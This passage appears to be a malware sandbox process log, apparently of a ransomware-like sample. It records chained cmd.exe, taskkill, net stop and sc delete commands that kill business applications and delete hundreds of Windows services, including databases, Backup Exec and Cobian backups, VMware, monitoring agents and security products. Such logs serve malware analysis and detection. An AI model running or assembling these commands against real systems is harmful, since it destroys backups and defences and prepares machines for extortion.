4⤵
PID:2868

C:\Windows\SysWOW64\sc.exe
sc delete MSDTC
4⤵
PID:2160

C:\Windows\SysWOW64\sc.exe
sc delete TeamViewer
4⤵
PID:2956

C:\Windows\SysWOW64\sc.exe
sc delete ReportServer
4⤵
PID:2104

C:\Windows\SysWOW64\sc.exe
sc delete RabbitMQ
4⤵
PID:2220

C:\Windows\SysWOW64\sc.exe
sc delete "AHS SERVICE"
4⤵
PID:2652

C:\Windows\SysWOW64\sc.exe
sc delete "Sense Shield Service"
4⤵
PID:2984

C:\Windows\SysWOW64\sc.exe
sc delete SSMonitorService
4⤵
PID:1796

C:\Windows\SysWOW64\sc.exe
sc delete SSSyncService
4⤵
PID:2568

C:\Windows\SysWOW64\sc.exe
sc delete TPlusStdAppService1300
4⤵
PID:2444

C:\Windows\SysWOW64\sc.exe
sc delete MSSQL$SQL2008
4⤵
PID:2964

C:\Windows\SysWOW64\sc.exe
sc delete SQLAgent$SQL2008
4⤵
PID:2544

C:\Windows\SysWOW64\sc.exe
sc delete TPlusStdTaskService1300
4⤵
PID:2568

C:\Windows\SysWOW64\sc.exe
sc delete TPlusStdUpgradeService1300
4⤵
PID:1724

C:\Windows\SysWOW64\sc.exe
sc delete VirboxWebServer
4⤵
PID:2940

C:\Windows\SysWOW64\sc.exe
sc delete jhi_service
4⤵
PID:2608

C:\Windows\SysWOW64\sc.exe
sc delete LMS
4⤵
PID:2804

C:\Windows\SysWOW64\sc.exe
sc delete "FontCache3.0.0.0"
4⤵
PID:2320

C:\Windows\SysWOW64\sc.exe
sc delete "OSP Service"
4⤵
PID:2848

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManagement.exe /F & @sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai" & @taskkill /IM ReportingServicesService.exe /F & @sc delete "ReportServer$SQLEXPRESS" & @sc delete TongBackupSrv & @taskkill /IM TongBackupSrv.exe /F & @taskkill /IM UFMsgCenterService.exe /F & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCService & @net stop "SAP Business One RSP Agent Service" & @net stop SAPB1iDIProxy & @net stop "SAPB1iDIProxy_Monitor" & @net stop SAPB1iEventSender & @net stop SBOClientAgent & @net stop SBODI_Server & @net stop SBOJobServiceBackEnd & @net stop SBOMail & @net stop SBOWFDataAccess & @net stop SBOWorkflowEngine"
3⤵
PID:988

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM DDSoftPwsTomcat9.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1896

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM U8SmartClient.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM U8SmartClientMonitor.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2580

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM tomcat9.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM SqlManagement.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\SysWOW64\sc.exe
sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai"
4⤵
PID:2476

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ReportingServicesService.exe /F
4⤵
PID:2568

C:\Windows\SysWOW64\sc.exe
sc delete "ReportServer$SQLEXPRESS"
4⤵
PID:2836

C:\Windows\SysWOW64\sc.exe
sc delete TongBackupSrv
4⤵
PID:688

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM TongBackupSrv.exe /F
4⤵
PID:2924

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UFMsgCenterService.exe /F
4⤵
- Kills process with taskkill
PID:2856

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "Cobian.exe" /F
4⤵
PID:3020

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "SAP Business One.exe" /F
4⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop "SQLBackupAndFTP Client Service"
4⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLBackupAndFTP Client Service"
5⤵
PID:2900

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "SqlBak.Service.exe" /F
4⤵
PID:2300

C:\Windows\SysWOW64\net.exe
net stop cbVSCService
4⤵
PID:2016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop cbVSCService
5⤵
PID:2320

C:\Windows\SysWOW64\net.exe
net stop "SAP Business One RSP Agent Service"
4⤵
PID:2132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SAP Business One RSP Agent Service"
5⤵
PID:340

C:\Windows\SysWOW64\net.exe
net stop SAPB1iDIProxy
4⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAPB1iDIProxy
5⤵
PID:2704

C:\Windows\SysWOW64\net.exe
net stop "SAPB1iDIProxy_Monitor"
4⤵
PID:2092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SAPB1iDIProxy_Monitor"
5⤵
PID:2460

C:\Windows\SysWOW64\net.exe
net stop SAPB1iEventSender
4⤵
PID:2944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAPB1iEventSender
5⤵
PID:1628

C:\Windows\SysWOW64\net.exe
net stop SBOClientAgent
4⤵
PID:2884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBOClientAgent
5⤵
PID:2076

C:\Windows\SysWOW64\net.exe
net stop SBODI_Server
4⤵
PID:1944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBODI_Server
5⤵
PID:288

C:\Windows\SysWOW64\net.exe
net stop SBOJobServiceBackEnd
4⤵
PID:2352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBOJobServiceBackEnd
5⤵
PID:2920

C:\Windows\SysWOW64\net.exe
net stop SBOMail
4⤵
PID:2460

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBOMail
5⤵
PID:632

C:\Windows\SysWOW64\net.exe
net stop SBOWFDataAccess
4⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBOWFDataAccess
5⤵
PID:2704

C:\Windows\SysWOW64\net.exe
net stop SBOWorkflowEngine
4⤵
PID:1564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBOWorkflowEngine
5⤵
PID:632

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"
3⤵
PID:1908

C:\Windows\SysWOW64\sc.exe
sc delete "DAService_TCP"
4⤵
PID:1884

C:\Windows\SysWOW64\sc.exe
sc delete "eCard-TTransServer"
4⤵
PID:2132

C:\Windows\SysWOW64\sc.exe
sc delete eCardMPService
4⤵
PID:2364

C:\Windows\SysWOW64\sc.exe
sc delete EnergyDataService
4⤵
PID:2812

C:\Windows\SysWOW64\sc.exe
sc delete K3MobileService
4⤵
PID:3056

C:\Windows\SysWOW64\sc.exe
sc delete UI0Detect
4⤵
PID:2984

C:\Windows\SysWOW64\sc.exe
sc delete TCPIDDAService
4⤵
PID:2556

C:\Windows\SysWOW64\sc.exe
sc delete WebAttendServer
4⤵
PID:3016

C:\Windows\SysWOW64\sc.exe
sc delete UIODetect
4⤵
PID:2512

C:\Windows\SysWOW64\sc.exe
sc delete "wanxiao-monitor"
4⤵
PID:2000

C:\Windows\SysWOW64\sc.exe
sc delete VMAuthdService
4⤵
PID:1628

C:\Windows\SysWOW64\sc.exe
sc delete VMUSBArbService
4⤵
PID:2556

C:\Windows\SysWOW64\sc.exe
sc delete VMwareHostd
4⤵
PID:900

C:\Windows\SysWOW64\sc.exe
sc delete "vm-agent"
4⤵
PID:2228

C:\Windows\SysWOW64\sc.exe
sc delete VmAgentDaemon
4⤵
PID:1656

C:\Windows\SysWOW64\sc.exe
sc delete OpenSSHd
4⤵
PID:2228

C:\Windows\SysWOW64\sc.exe
sc delete eSightService
4⤵
PID:2516

C:\Windows\SysWOW64\sc.exe
sc delete apachezt
4⤵
PID:796

C:\Windows\SysWOW64\sc.exe
sc delete Jenkins
4⤵
PID:2172

C:\Windows\SysWOW64\sc.exe
sc delete secbizsrv
4⤵
PID:2380

C:\Windows\SysWOW64\sc.exe
sc delete SQLTELEMETRY
4⤵
PID:2816

C:\Windows\SysWOW64\sc.exe
sc delete MSMQ
4⤵
PID:2576

C:\Windows\SysWOW64\sc.exe
sc delete smtpsvrJT
4⤵
PID:2876

C:\Windows\SysWOW64\sc.exe
sc delete zyb_sync
4⤵
PID:2008

C:\Windows\SysWOW64\sc.exe
sc delete 360EntHttpServer
4⤵
PID:2128

C:\Windows\SysWOW64\sc.exe
sc delete 360EntSvc
4⤵
PID:2316

C:\Windows\SysWOW64\sc.exe
sc delete 360EntClientSvc
4⤵
PID:2104

C:\Windows\SysWOW64\sc.exe
sc delete NFWebServer
4⤵
PID:340

C:\Windows\SysWOW64\sc.exe
sc delete wampapache
4⤵
PID:632

C:\Windows\SysWOW64\sc.exe
sc delete MSSEARCH
4⤵
PID:1504

C:\Windows\SysWOW64\sc.exe
sc delete msftesql
4⤵
PID:2144

C:\Windows\SysWOW64\sc.exe
sc delete "SyncBASE Service"
4⤵
PID:2836

C:\Windows\SysWOW64\sc.exe
sc delete OracleDBConcoleorcl
4⤵
PID:2788

C:\Windows\SysWOW64\sc.exe
sc delete OracleJobSchedulerORCL
4⤵
PID:2944

C:\Windows\SysWOW64\sc.exe
sc delete OracleMTSRecoveryService
4⤵
PID:1796

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services" & net stop MSSQL$FE_EXPRESS"
3⤵
PID:576

C:\Windows\SysWOW64\sc.exe
sc delete OracleOraDb11g_home1ClrAgent
4⤵
PID:2232

C:\Windows\SysWOW64\sc.exe
sc delete OracleOraDb11g_home1TNSListener
4⤵
PID:2880

C:\Windows\SysWOW64\sc.exe
sc delete OracleVssWriterORCL
4⤵
PID:2244

C:\Windows\SysWOW64\sc.exe
sc delete OracleServiceORCL
4⤵
PID:1028

C:\Windows\SysWOW64\sc.exe
sc delete aspnet_state @sc delete Redis
4⤵
PID:900

C:\Windows\SysWOW64\sc.exe
sc delete OracleVssWriterORCL
4⤵
PID:2884

C:\Windows\SysWOW64\sc.exe
sc delete JhTask
4⤵
PID:2324

C:\Windows\SysWOW64\sc.exe
sc delete ImeDictUpdateService
4⤵
PID:2780

C:\Windows\SysWOW64\sc.exe
sc delete XT800Service_Personal
4⤵
PID:1836

C:\Windows\SysWOW64\sc.exe
sc delete MCService
4⤵
PID:540

C:\Windows\SysWOW64\sc.exe
sc delete ImeDictUpdateService
4⤵
PID:2716

C:\Windows\SysWOW64\sc.exe
sc delete allpass_redisservice_port21160
4⤵
PID:2608

C:\Windows\SysWOW64\sc.exe
sc delete "Flash Helper Service"
4⤵
PID:688

C:\Windows\SysWOW64\sc.exe
sc delete "Kiwi Syslog Server"
4⤵
PID:1156

C:\Windows\SysWOW64\sc.exe
sc delete "UWS HiPriv Services"
4⤵
PID:1376

C:\Windows\SysWOW64\net.exe
net stop MSSQL$FE_EXPRESS
4⤵
PID:2928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$FE_EXPRESS
5⤵
PID:668

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT.exe /F & @net stop UFNet & @taskkill /IM MessageNotification.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete cbVSCService11 & @sc delete CobianBackup11"
3⤵
PID:1912

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ReportingServicesService.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2428

C:\Windows\SysWOW64\sc.exe
sc delete "SQL Server Reporting Services"
4⤵
PID:2068

C:\Windows\SysWOW64\sc.exe
sc delete MSSQLFDLauncher
4⤵
PID:2096

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM U8CEServer.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2148

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM ServerNT.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\SysWOW64\net.exe
net stop UFNet
4⤵
PID:2936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UFNet
5⤵
PID:2252

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM MessageNotification.exe /F
4⤵
PID:2140

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cbVSCService11.exe /F
4⤵
PID:2768

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cbService.exe /F
4⤵
PID:2932

C:\Windows\SysWOW64\sc.exe
sc delete cbVSCService11
4⤵
PID:2140

C:\Windows\SysWOW64\sc.exe
sc delete CobianBackup11
4⤵
PID:3064

C:\Windows\SysWOW64\cmd.exe
cmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""
3⤵
PID:1188

C:\Windows\SysWOW64\sc.exe
sc delete MSCRMAsyncService
4⤵
PID:2456

C:\Windows\SysWOW64\sc.exe
sc delete RTCATS
4⤵
PID:2912

C:\Windows\SysWOW64\sc.exe
sc delete RtcQms
4⤵
PID:1512

C:\Windows\SysWOW64\sc.exe
sc delete RTCAVMCU
4⤵
PID:3064

C:\Windows\SysWOW64\sc.exe
sc delete REPLICA
4⤵
PID:2756

C:\Windows\SysWOW64\sc.exe
sc delete RTCMEETINGMCU
4⤵
PID:2912

C:\Windows\SysWOW64\sc.exe
sc delete RTCIMMCU
4⤵
PID:2300

C:\Windows\SysWOW64\sc.exe
sc delete RTCDATAMCU
4⤵
PID:2796

C:\Windows\SysWOW64\sc.exe
sc delete RTCCDR
4⤵
PID:2984

C:\Windows\SysWOW64\sc.exe
sc delete ProjectEventService16
4⤵
PID:1028

C:\Windows\SysWOW64\sc.exe
sc delete ProjectQueueService16
4⤵
PID:2136

C:\Windows\SysWOW64\sc.exe
sc delete SPAdminV4
4⤵
PID:2704

C:\Windows\SysWOW64\sc.exe
sc delete SPSearchHostController
4⤵
PID:1836

C:\Windows\SysWOW64\sc.exe
sc delete SPTimerV4
4⤵
PID:2828

C:\Windows\SysWOW64\sc.exe
sc delete SPTraceV4
4⤵
PID:1244

C:\Windows\SysWOW64\sc.exe
sc delete OSearch16
4⤵
PID:2884

C:\Windows\SysWOW64\sc.exe
sc delete ProjectCalcService16
4⤵
PID:2788

C:\Windows\SysWOW64\sc.exe
sc delete c2wts
4⤵
PID:2000

C:\Windows\SysWOW64\sc.exe
sc delete AppFabricCachingService
4⤵
PID:428

C:\Windows\SysWOW64\sc.exe
sc delete ADWS
4⤵
PID:2300

C:\Windows\SysWOW64\sc.exe
sc delete MotionBoard57
4⤵
PID:2780

C:\Windows\SysWOW64\sc.exe
sc delete MotionBoardRCService57
4⤵
PID:2092

C:\Windows\SysWOW64\sc.exe
sc delete vsvnjobsvc
4⤵
PID:2796

C:\Windows\SysWOW64\sc.exe
sc delete VisualSVNServer
4⤵
PID:2000

C:\Windows\SysWOW64\sc.exe
sc delete "FlexNet Licensing Service 64"
4⤵
PID:2800

C:\Windows\SysWOW64\sc.exe
sc delete BestSyncSvc
4⤵
PID:2080

C:\Windows\SysWOW64\sc.exe
sc delete LPManager
4⤵
PID:2940

C:\Windows\SysWOW64\sc.exe
sc delete MediatekRegistryWriter
4⤵
PID:2244

C:\Windows\SysWOW64\sc.exe
sc delete RaAutoInstSrv_RT2870
4⤵
PID:2768

C:\Windows\SysWOW64\sc.exe
sc delete CobianBackup10
4⤵
PID:2292

C:\Windows\SysWOW64\sc.exe
sc delete SQLANYs_sem5
4⤵
PID:2804

C:\Windows\SysWOW64\sc.exe
sc delete CASLicenceServer
4⤵
PID:2512

C:\Windows\SysWOW64\sc.exe
sc delete SQLService
4⤵
PID:1900

C:\Windows\SysWOW64\sc.exe
sc delete semwebsrv
4⤵
PID:1912

C:\Windows\SysWOW64\sc.exe
sc delete TbossSystem
4⤵
PID:1660

C:\Windows\SysWOW64\sc.exe
sc delete ErpEnvSvc
4⤵
PID:2900

C:\Windows\SysWOW64\sc.exe
sc delete Mysoft.Autoupgrade.DispatchService
4⤵
PID:2364

C:\Windows\SysWOW64\sc.exe
sc delete Mysoft.Autoupgrade.UpdateService
4⤵
PID:1712

C:\Windows\SysWOW64\sc.exe
sc delete Mysoft.Config.WindowsService
4⤵
PID:2140

C:\Windows\SysWOW64\sc.exe
sc delete Mysoft.DataCenterService
4⤵
PID:2488

C:\Windows\SysWOW64\sc.exe
sc delete Mysoft.SchedulingService
4⤵
PID:2864

C:\Windows\SysWOW64\sc.exe
sc delete Mysoft.Setup.InstallService
4⤵
PID:2000

C:\Windows\SysWOW64\sc.exe
sc delete MysoftUpdate
4⤵
PID:2608

C:\Windows\SysWOW64\sc.exe
sc delete edr_monitor
4⤵
PID:2228

C:\Windows\SysWOW64\sc.exe
sc delete abs_deployer
4⤵
PID:2320

C:\Windows\SysWOW64\sc.exe
sc delete savsvc
4⤵
PID:2140

C:\Windows\SysWOW64\sc.exe
sc delete ShareBoxMonitorService
4⤵
PID:1512

C:\Windows\SysWOW64\sc.exe
sc delete ShareBoxService
4⤵
PID:2792

C:\Windows\SysWOW64\sc.exe
sc delete CloudExchangeService
4⤵
PID:1688

C:\Windows\SysWOW64\sc.exe
sc delete "U8WorkerService2"
4⤵
PID:2316

C:\Windows\SysWOW64\sc.exe
sc delete CIS
4⤵
PID:796

C:\Windows\SysWOW64\sc.exe
sc delete EASService
4⤵
PID:2780

C:\Windows\SysWOW64\sc.exe
sc delete KICkSvr
4⤵
PID:2472

C:\Windows\SysWOW64\sc.exe
sc delete "OSP Service"
4⤵
PID:2804

C:\Windows\SysWOW64\sc.exe
sc delete U8SmsSrv
4⤵
PID:2120

C:\Windows\SysWOW64\sc.exe
sc delete OfficeClearCache
4⤵
PID:1468

C:\Windows\SysWOW64\sc.exe
sc delete TurboCRM70
4⤵
PID:2232

C:\Windows\SysWOW64\sc.exe
sc delete U8DispatchService
4⤵
PID:2940

C:\Windows\SysWOW64\sc.exe
sc delete U8EISService
4⤵
PID:2796

C:\Windows\SysWOW64\sc.exe
sc delete U8GCService
4⤵
PID:1992

C:\Windows\SysWOW64\sc.exe
sc delete U8EncryptService
4⤵
PID:1244

C:\Windows\SysWOW64\sc.exe
sc delete U8KeyManagePool
4⤵
PID:340

C:\Windows\SysWOW64\sc.exe
sc delete "U8MPool"
4⤵
PID:2388

C:\Windows\SysWOW64\sc.exe
sc delete U8SCMPool
4⤵
PID:1712

C:\Windows\SysWOW64\sc.exe
sc delete U8SLReportService
4⤵
PID:1688

C:\Windows\SysWOW64\sc.exe
sc delete U8TaskService
4⤵
PID:2804

C:\Windows\SysWOW64\sc.exe
sc delete "U8WebPool"
4⤵
PID:2768

C:\Windows\SysWOW64\sc.exe
sc delete UFAllNet
4⤵
PID:2936

C:\Windows\SysWOW64\sc.exe
sc delete UFReportService
4⤵
PID:1956

C:\Windows\SysWOW64\sc.exe
sc delete UTUService
4⤵
PID:1468

C:\Windows\SysWOW64\sc.exe
sc delete "U8WorkerService1"
4⤵
PID:276

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"
3⤵
PID:1572

C:\Windows\SysWOW64\sc.exe
sc delete "UWS LoPriv Services"
4⤵
PID:2152

C:\Windows\SysWOW64\sc.exe
sc delete ftnlsv3
4⤵
PID:2344

C:\Windows\SysWOW64\sc.exe
sc delete ftnlses3
4⤵
PID:2504

C:\Windows\SysWOW64\sc.exe
sc delete ftusbrdwks
4⤵
PID:752

C:\Windows\SysWOW64\sc.exe
sc delete "UtilDev Web Server Pro"
4⤵
PID:2976

C:\Windows\SysWOW64\sc.exe
sc delete FxService
4⤵
PID:2780

C:\Windows\SysWOW64\sc.exe
sc delete ftusbrdsrv
4⤵
PID:2140

C:\Windows\SysWOW64\sc.exe
sc delete "ZTE USBIP Client Guard"
4⤵
PID:1692

C:\Windows\SysWOW64\sc.exe
sc delete "ZTE USBIP Client"
4⤵
PID:2472

C:\Windows\SysWOW64\sc.exe
sc delete "ZTE FileTranS"
4⤵
PID:1104

C:\Windows\SysWOW64\sc.exe
sc delete wwbizsrv
4⤵
PID:1152

C:\Windows\SysWOW64\sc.exe
sc delete qemu-ga
4⤵
PID:2440

C:\Windows\SysWOW64\sc.exe
sc delete AlibabaProtect
4⤵
PID:2996

C:\Windows\SysWOW64\sc.exe
sc delete ZTEVdservice
4⤵
PID:2944

C:\Windows\SysWOW64\sc.exe
sc delete kbasesrv
4⤵
PID:2164

C:\Windows\SysWOW64\sc.exe
sc delete MMRHookService
4⤵
PID:1376

C:\Windows\SysWOW64\sc.exe
sc delete OracleJobSchedulerORCL
4⤵
PID:2480

C:\Windows\SysWOW64\sc.exe
sc delete IpOverUsbSvc
4⤵
PID:520

C:\Windows\SysWOW64\sc.exe
sc delete MsDtsServer100
4⤵
PID:1712

C:\Windows\SysWOW64\sc.exe
sc delete KuaiYunTools
4⤵
PID:1896

C:\Windows\SysWOW64\sc.exe
sc delete KMSELDI
4⤵
PID:2304

C:\Windows\SysWOW64\sc.exe
sc delete btPanel
4⤵
PID:2092

C:\Windows\SysWOW64\sc.exe
sc delete Protect_2345Explorer
4⤵
PID:3000

C:\Windows\SysWOW64\sc.exe
sc delete 2345PicSvc
4⤵
PID:2764

C:\Windows\SysWOW64\sc.exe
sc delete vmware-converter-agent
4⤵
PID:2984

C:\Windows\SysWOW64\sc.exe
sc delete vmware-converter-server
4⤵
PID:2484

C:\Windows\SysWOW64\sc.exe
sc delete vmware-converter-worker
4⤵
PID:2796

C:\Windows\SysWOW64\sc.exe
sc delete QQCertificateService
4⤵
PID:2792

C:\Windows\SysWOW64\sc.exe
sc delete OracleRemExecService
4⤵
PID:3008

C:\Windows\SysWOW64\sc.exe
sc delete GPSDaemon
4⤵
PID:2148

C:\Windows\SysWOW64\sc.exe
sc delete GPSUserSvr
4⤵
PID:2456

C:\Windows\SysWOW64\sc.exe
sc delete GPSDownSvr
4⤵
PID:2300

C:\Windows\SysWOW64\sc.exe
sc delete GPSStorageSvr
4⤵
PID:2228

C:\Windows\SysWOW64\sc.exe
sc delete GPSDataProcSvr
4⤵
PID:2276

C:\Windows\SysWOW64\sc.exe
sc delete GPSGatewaySvr
4⤵
PID:2940

C:\Windows\SysWOW64\sc.exe
sc delete GPSMediaSvr
4⤵
PID:2204

C:\Windows\SysWOW64\sc.exe
sc delete GPSLoginSvr
4⤵
PID:1956

C:\Windows\SysWOW64\sc.exe
sc delete GPSTomcat6
4⤵
PID:1540

C:\Windows\SysWOW64\sc.exe
sc delete GPSMysqld
4⤵
PID:2944

C:\Windows\SysWOW64\sc.exe
sc delete GPSFtpd
4⤵
PID:2936

C:\Windows\SysWOW64\sc.exe
sc delete "Zabbix Agent"
4⤵
PID:1724

C:\Windows\SysWOW64\sc.exe
sc delete BackupExecAgentAccelerator
4⤵
PID:980

C:\Windows\SysWOW64\sc.exe
sc delete bedbg
4⤵
PID:2292

C:\Windows\SysWOW64\sc.exe
sc delete BackupExecDeviceMediaService
4⤵
PID:2164

C:\Windows\SysWOW64\sc.exe
sc delete BackupExecRPCService
4⤵
PID:2108

C:\Windows\SysWOW64\sc.exe
sc delete BackupExecAgentBrowser
4⤵
PID:624

C:\Windows\SysWOW64\sc.exe
sc delete BackupExecJobEngine
4⤵
PID:1908

C:\Windows\SysWOW64\sc.exe
sc delete BackupExecManagementService
4⤵
PID:984

C:\Windows\SysWOW64\sc.exe
sc delete MDM
4⤵
PID:2112

C:\Windows\SysWOW64\sc.exe
sc delete TxQBService
4⤵
PID:2188

C:\Windows\SysWOW64\sc.exe
sc delete Gailun_Downloader
4⤵
PID:2224

C:\Windows\SysWOW64\sc.exe
sc delete RemoteAssistService
4⤵
PID:668

